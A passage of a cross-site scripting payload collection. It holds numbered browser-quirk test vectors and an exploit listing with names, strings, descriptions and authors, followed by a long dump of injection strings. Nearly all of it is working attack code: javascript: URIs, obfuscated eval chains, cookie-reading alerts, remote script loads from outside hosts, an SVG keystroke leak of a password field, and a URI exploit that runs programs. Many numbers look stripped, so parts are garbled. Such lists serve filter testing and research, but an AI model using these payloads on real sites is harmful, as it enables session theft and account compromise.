xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]>]</div>
<div id=""><x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value=""/></x:template>//["'`-->]]>]</div>
<div id=""><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'`-->]]>]</div>
<div id=""><svg xmlns="http://www.w3.org/2000/svg">
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="" height="" fill="white"/></a>
</svg>//["'`-->]]>]</div> <div id=""><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <animation xlink:href="javascript:alert(88)"/>
<animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> <foreignObject xlink:href="javascript:alert(88)"/>
<foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/> </svg>//["'`-->]]>]</div> <div id=""><svg xmlns="http://www.w3.org/2000/svg">
<set attributeName="onmouseover" to="alert(89)"/>
<animate attributeName="onunload" to="alert(89)"/>
</svg>//["'`-->]]>]</div> <div id=""><!-- Up to Opera 10.63 -->
<div style=content:url(test2.svg)></div> <!-- Up to Opera 11.64 - see link below --> <!-- Up to Opera .x -->
<div style="background:url(test5.svg)">PRESS ENTER</div>//["'`-->]]>]</div> <div id="">[A]
<? foo="><script>alert(91)</script>">
<! foo="><script>alert(91)</script>">
</ foo="><script>alert(91)</script>">
[B]
<? foo="><x foo='?><script>alert(91)</script>'>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>">
[D]
<% foo><x foo="%><script>alert(91)</script>">//["'`-->]]>]</div>
<div id=""><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'`-->]]>]</div>
<div id=""><svg xmlns="http://www.w3.org/2000/svg">
<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert()</handler>
</svg>//["'`-->]]>]</div> <div id=""><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<feImage>
<set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
</feImage>
</svg>//["'`-->]]>]</div> <div id=""><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>
<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'`-->]]>]</div> <div id=""><!-- IE - -->
<div id=d><x xmlns="><iframe onload=alert(97)"></div>
<script>d.innerHTML+='';</script> <!-- IE in IE5- Standards mode -->
<div id=d><x xmlns='"><iframe onload=alert(2)//'></div>
<script>d.innerHTML+='';</script>//["'`-->]]>]</div> <div id=""><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div>
<script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]>]</div> <div id="">XXX<style> *{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */ <!--
--><!--*{color:red} /* all UA */ *{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */ </style>//["'`-->]]>]</div>
<div id=""><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'`-->]]>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'`-->]]>]</div><div id="102"><img src="x` `<script>alert(102)</script>"` `>//["'`-->]]>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]>]</div>
<div id=""><svg xmlns="http://www.w3.org/2000/svg" id="foo">
<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/>
</svg>//["'`-->]]>]</div>
<div id=""><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'`-->]]>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]>]</div>
<div id=""><!-- IE - standards mode -->
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>"> <!-- IE - standards mode -->
<!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//">
<?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">//["'`-->]]>]</div> <div id=""><svg xmlns="http://www.w3.org/2000/svg">
<a id="x"><rect fill="white" width="" height=""/></a>
<rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/>
</svg>//["'`-->]]>]</div> <div id=""><svg xmlns="http://www.w3.org/2000/svg">
<path d="M0,0" style="marker-start:url(test4.svg#a)"/>
</svg>//["'`-->]]>]</div>
<div id=""><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div>
<div id=""><div id="x">XXX</div>
<style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>//["'`-->]]>]</div>
<div id=""><x style="background:url('x[a];color:red;/*')">XXX</x>//["'`-->]]>]</div>
<div id=""><!--[if]><script>alert()</script -->
<!--[if<img src=x onerror=alert()//]> -->//["'`-->]]>]</div> <div id=""><div id="x">x</div>
<xml:namespace prefix="t">
<import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(116)>">//["'`-->]]>]</div> <div id=""><a href="http://attacker.org">
<iframe src="http://example.org/"></iframe>
</a>//["'`-->]]>]</div> <div id=""><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');">
<h1>Drop me</h1>
</div> <iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]>]</div> <div id=""><iframe src="view-source:http://www.example.org/" frameborder="" style="width:400px;height:180px"></iframe> <textarea type="text" cols="" rows=""></textarea>//["'`-->]]>]</div> <div id=""><script>
function makePopups(){
for (i=;i<;i++) {
window.open('popup.html','spam'+i,'width=50,height=50');
}
}
</script> <body>
<a href="#" onclick="makePopups()">Spam</a>//["'`-->]]>]</div> <div id=""><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg">
<body style="background:gray">
<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/>
<svg:svg>
<svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox">
<svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/>
<svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/>
</svg:mask>
</svg:svg>
</body>
</html>//["'`-->]]>]</div>
<div id=""><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]>]</div>
<div id=""><span class=foo>Some text</span>
<a class=bar href="http://www.example.org">www.example.org</a> <script src="http://code.jquery.com/jquery-1.4.4.js"></script>
<script>
$("span.foo").click(function() {
alert('foo');
$("a.bar").click();
});
$("a.bar").click(function() {
alert('bar');
location="http://html5sec.org";
});
</script>//["'`-->]]>]</div> <div id=""><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10
<script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]>]</div> <div id=""><?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>]>
<svg xmlns="http://www.w3.org/2000/svg">
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe>
</xsl:template>
</xsl:stylesheet>
<circle fill="red" r=""></circle>
</svg>//["'`-->]]>]</div> <div id=""><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]>]</div> <div id=""><svg xmlns="http://www.w3.org/2000/svg" id="x">
<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>
<handler id="y">alert()</handler>
</svg>//["'`-->]]>]</div>
<div id=""><svg><style><img/src=x onerror=alert()// </b>//["'`-->]]>]</div>
<div id=""><svg>
<image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'>
<!--
Same effect with
<image filter='...'>
-->
</svg>//["'`-->]]>]</div> <div id=""><math href="javascript:alert(130)">CLICKME</math> <math>
<!-- up to FF -->
<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> <!-- FF + -->
<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction>
</math>//["'`-->]]>]</div> <div id=""><b>drag and drop one of the following strings to the drop box:</b>
<br/><hr/>
jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
<br/><hr/>
feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
<br/><hr/>
feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b>
<br/><hr/>
feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
<br/><hr/>
<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'`-->]]>]</div> <div id=""><!doctype html>
<form>
<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>
<br>
<input name="secret" type="password">
</form>
<!-- injection --><svg height="50px">
<image xmlns:xlink="http://www.w3.org/1999/xlink">
<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />
<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />
<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />
<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />
</image>
</svg>//["'`-->]]>]</div>
<div id=""><!-- `<img/src=xx:xx onerror=alert()//--!>//["'`-->]]>]</div>
<div id=""><xmp>
<%
</xmp>
<img alt='%></xmp><img src=xx:x onerror=alert(134)//'> <script>
x='<%'
</script> %>/
alert()
</script> XXX
<style>
*['<!--']{}
</style>
-->{}
*{color:red}</style>//["'`-->]]>]</div> <div id=""><?xml-stylesheet type="text/xsl" href="#" ?>
<stylesheet xmlns="http://www.w3.org/TR/WD-xsl">
<template match="/">
<eval>new ActiveXObject('htmlfile').parentWindow.alert()</eval>
<if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if>
</template>
</stylesheet>//["'`-->]]>]</div> <div id=""><form action="" method="post">
<input name="username" value="admin" />
<input name="password" type="password" value="secret" />
<input name="injected" value="injected" dirname="password" />
<input type="submit">
</form>//["'`-->]]>]</div> <div id=""><svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r=""></circle>
<animate attributeName="xlink:href" begin="" from="javascript:alert(137)" to="&" />
</a>//["'`-->]]>]</div>
<div id=""><link rel="import" href="test.svg" />//["'`-->]]>]</div><div id="139"><iframe srcdoc="<img src=x:x onerror=alert(1)>" />//["'`-->]]>]</div>undefined A very short cross browser header injection
Exploit Name: A very short cross browser header injection
Exploit String: with(document)getElementsByTagName('head')[].appendChild(createElement('script')).src='//ŋ.ws'
Exploit Description: This vector shows one of the shortest possible ways to inject external JavaScript into a website's header area.
Exploit Tags: xss, short, header, injection
Author Name: .mario Add onclick event hadler
Exploit Name: Add onclick event hadler
Exploit String: onclick=eval/**/(/ale/.source%2b/rt/.source%2b/()/.source);
Exploit Description: This vector adds an onclick event handler to a tag and appends an obfuscated JS alert.
Exploit Tags: general, JS breaking, basic, obfuscated, user interaction
Author Name: kishor Advanced HTML injection locator
Exploit Name: Advanced HTML injection locator
Exploit String: <s><s>%3cs%3e111%3c/s%3e%3c%%3e%%%%3c%2f%%3e&#&#&#&#&#&#&#&#&#&#<s>444</s>
Exploit Description: This vector indicates HTML injections by stroked text.
Exploit Tags: general, html breaking, injection
Author Name: .mario Advanced XSS Locator
Exploit Name: Advanced XSS Locator
Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'><SCRIPT>alert()</SCRIPT>=&{}");}alert(6);function xss(){//
Exploit Description: Advanced XSS Locator
Exploit Tags: general, html breaking, comment breaking, JS breaking
Author Name: .mario Advanced XSS Locator for title-Injections
Exploit Name: Advanced XSS Locator for title-Injections
Exploit String: ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//--></SCRIPT>">'></title><SCRIPT>alert()</SCRIPT>=&{</title><script>alert()</script>}");}
Exploit Description: This is a modified version of the XSS Locator from ha.ckers.org especially crafted to check for title injections.
Exploit Tags: general, html breaking, comment breaking, JS breaking, title breaking
Author Name: .mario aim: uri exploit
Exploit Name: aim: uri exploit
Exploit String: aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
Exploit Description: This aim-uri executes the calc.exe on vulnerable systems
Exploit Tags: URI exploits, gecko, injection, general
Author Name: xs-sniper Backslash-obfuscated XBL injection - variant
Exploit Name: Backslash-obfuscated XBL injection - variant
Exploit String: <div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant
Exploit Name: Backslash-obfuscated XBL injection - variant
Exploit String: <div/style=&#&#&#&#&#&#&#&#&#&
#&#&#&#&#&#&#&#&#&#&#:&
#&#&#&#&#&#&#&#&#&#&#&
#&#&#&#&#&#&#&#&#&#&#&
#&#&#&#&#&#&#&#&#&#&#
&#&#&#&#&#&#&#&#&#&#&#
&#&#&#&#&#&#&#&#&#&#&>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. All important characters are obfuscated by unclosed entities.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant
Exploit Name: Backslash-obfuscated XBL injection - variant
Exploit String: <Q%^&*(£@!’” style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. As we can see gecko based browsers accept various characters as valid tags.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant
Exploit Name: Backslash-obfuscated XBL injection - variant
Exploit String: <div    style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Furthermore unclosed NBSP entities are used to obfuscate the string.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk Backslash-obfuscated XBL injection - variant
Exploit Name: Backslash-obfuscated XBL injection - variant
Exploit String: <x/style=-m\0o\0z\-b\0i\0nd\0i\0n\0g\:\0u\0r\0l\(\/\/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\.c\0o\.\0u\0k\/\0la\0b\0s\/\0x\0b\0l\/\0x\0b\0l\.\0x\0m\0l\#\0x\0s\0s\)>
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Between any character of the original payload null bytes are used to obfuscate.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Author Name: thespanner.co.uk BASE
Exploit Name: BASE
Exploit String: <BASE HREF="javascript:alert('XSS');//">
Exploit Description: Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like ”images/image.jpg” rather than full paths. If the path includes a leading forward slash like ”/images/image.jpg” you can remove one slash from this vector (as long as there are two to begin the comment this will work
Exploit Tags: general, evil tags
Author Name: ha.ckers.org Basic back ticked attribute breaker
Exploit Name: Basic back ticked attribute breaker
Exploit String: `> <script>alert()</script>
Exploit Description: This vector breaks back ticked attributes.
Exploit Tags: general, html breaking, basic
Author Name: kishor Basic double quoted attribute breaker
Exploit Name: Basic double quoted attribute breaker
Exploit String: > <script>alert()</script>
Exploit Description: This vector breaks double quoted attributes and produces an alert.
Exploit Tags: general, html breaking
Author Name: kishor Basic JS breaker
Exploit Name: Basic JS breaker
Exploit String: xyz onerror=alert(); Exploit String: ;a=eval;b=alert;a(b(/c/.source)); Exploit String: ];a=eval;b=alert;a(b());// Exploit String: ];a=eval;b=alert;a(b());// Exploit String: '];a=eval;b=alert;a(b(15));// Exploit String: };a=eval;b=alert;a(b());//
Exploit String: '};a=eval;b=alert;a(b(13));// Exploit String: };a=eval;b=alert;a(b());// Exploit String: a=;a=eval;b=alert;a(b());//
Exploit String: ;//%0da=eval;b=alert;a(b(10));// Exploit String: ';//%0da=eval;b=alert;a(b(9));// Exploit String: '> <script>alert(3)</script> Exploit String: </title><script>alert()</script> Exploit String: <BGSOUND SRC="javascript:alert('XSS');">
Exploit String: <BODY BACKGROUND="javascript:alert('XSS');"> Exploit String: <BODY ONLOAD=alert('XSS')>
Exploit String: <!--
<A href="
- --><a href=javascript:alert:document.domain
>test-->
Exploit String: <IMG SRC=JaVaScRiPt:alert('XSS')> Exploit String: <%3C<<<<&#&#&#&#&#&#&#;&#;&#;&#;&#;&#;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C Exploit String: <script>
var a = "</script> <script> alert('XSS !'); </script> <script>";
</script>
Exploit String: <!--[if gte IE ]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
Exploit String: */a=eval;b=alert;a(b(/e/.source));/* Exploit String: width: expression((window.r==document.cookie)?'':alert(r=document.cookie)) Exploit String: <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
Exploit String: <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
Exploit String: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Exploit String: <DIV STYLE="width: expression(alert('XSS'));"> Exploit String: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<IFRAME SRC=http://ha.ckers.org/scriptlet.html <
<A HREF="http://1113982867/">XSS</A>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
\";alert('XSS');//
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
eval(name)
<A HREF="http://www.google.com./">XSS</A>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="//google">XSS</A>
<A HREF="http://ha.ckers.org@google">XSS</A>
<A HREF="http://google:ha.ckers.org">XSS</A>
firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<IMG SRC=`javascript:alert("RSnake says### 'XSS'")`>
<IMG SRC="javascript:alert('XSS')"
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<IMG SRC=javascript:alert('XSS')> Exploit String: <IMG SRC=javascript:alert("XSS")>
'';!--"<script>alert(0);</script>=&{(alert(1))}
<?xml version="1.0"?>
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>
<html:script>
alert(document.cookie);
</html:script>
</html:html>
<img src=`x` onrerror= ` ;; alert() ` />
</a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')">
style=color: expression(alert());" a="
vbscript:Execute(MsgBox(chr()&chr()&chr()))<
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
a=<a>
<b>
%3c%%6d%%2f%%%%3d%
%%6f%6e%%%%6f%%3d%%6c%%%%%%%3e
</b>
</a>
document.write(unescape(a..b))
<IMG SRC="jav ascript:alert(<WBR>'XSS');">
<IMG SRC="jav ascript:alert(<WBR>'XSS');">
<IMG SRC="jav ascript:alert(<WBR>'XSS');">
<IMG SRC=javascript:alert(String.fromCharCode(######))>
<IMG DYNSRC="javascript:alert('XSS');">
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect /a.jpg http://victimsite.com/admin.asp&deleteuser
<IMG LOWSRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
exp/*<XSS STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<A HREF="http://66.102.7.147/">XSS</A>
s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1
s1=?'':'i'; s2=?'':'fr'; s3=?'':'ame'; i1=s1+s2+s3; s1=?'':'jav'; s2=?'':'ascr'; s3=?'':'ipt'; s4=?'':':'; s5=?'':'ale'; s6=?'':'rt'; s7=?'':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;
s1=?'':'i';s2=?'':'fr';s3=?'':'ame';i1=s1+s2+s3;s1=?'':'jav';s2=?'':'ascr';s3=?'':'ipt';s4=?'':':';s5=?'':'ale';s6=?'':'rt';s7=?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);
s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];
s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];
s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;
s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';
<BR SIZE="&{alert('XSS')}">
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
%0da=eval;b=alert;a(b(/d/.source));
<a href = "javas cript :ale rt(1)">test
+alert()+
<body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_();;;;
<body onload=a1={x:this.parent.document};a1.x.writeln();>
<body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write();;;;
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC="livescript:[code]">
<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
<IMG SRC=&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#&#>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
%%);x=alert;x(%% /finally through!/.source %%);//
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<A HREF="http://6 6.000146.0x7.147/">XSS</A>
<IMG SRC="mocha:[code]">
style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="
sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="
: _
=
eval
b=
__
=
location
c=
_
(
__
.
hash
//
.
substr
()
) <SCRIPT SRC=http://ha.ckers.org/xss.js<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT><BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")>
</noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
Exploit String: perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
<body onload=;;;;;;;;;;;_=alert;_();;;;
s1=?'':'i';s2=?'':'fr';s3=?'':'ame';i1=s1+s2+s3;s1=?'':'jav';s2=
?'':'ascr';s3=?'':'ipt';s4=?'':':';s5=?'':'ale';s6=?'':'rt';s7=
?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=pa
rentNode;x.appendChild(i);
<body <body onload=;;;;;al:eval('al'+'ert(1)');;><IMGSRC=&#;&#;&#;&#;&<WBR>#;&#;&#;&#;&#;&<WBR>#;&#;&#;
&#;&#;&<WBR>#;&#;&#;&#;&#;&#<WBR>;&#;&#;&#><IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(
&<WBR>#x27XSS')><IMGSRC=&#&#&<WBR>#&#&#&<WBR>#&#&#&<WBR>#&#&#
&<WBR>#&#&#&<WBR>#&#&#&<WBR>#&#&#&<WBR>#&#&#>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%%23x20;XSS%%23x20;Test%%23x20;Successful%26quot;)>(?(?{a:?""[?"ev\a\l":](?"\a\lert":):}:).a:)[?"\c\a\l\l":](content,?"x\s\s":)<body/s/onload=x={doc:parent.document};x.doc.writeln()<body/””$/onload=x={doc:parent[’document’]};x.doc.writeln()
[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>()</_>);
s1=<s>evalalerta()a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[]:
,e2=/s/!=/s/?s3[]:,e3=/s/!=/s/?s3[]:,e4=/s/!=/s/?s3[]:,e=/s/!=/
s/?[e1+e2+e3+e4]:,a1=/s/!=/s/?s3[]:,a2=/s/!=/s/?s3[]:,a3=/s/!=/
s/?s3[]:,a4=/s/!=/s/?s3[]:,a5=/s/!=/s/?s3[]:,a6=/s/!=/s/?s3[]:
,a7=/s/!=/s/?s3[]:,a8=/s/!=/s/?s3[]:
,a=a1+a2+a3+a4+a5+a6+a7+a8,,e(a)
o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>()</
s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)
'+'';
u1=s1+s2+s3;URL=u1
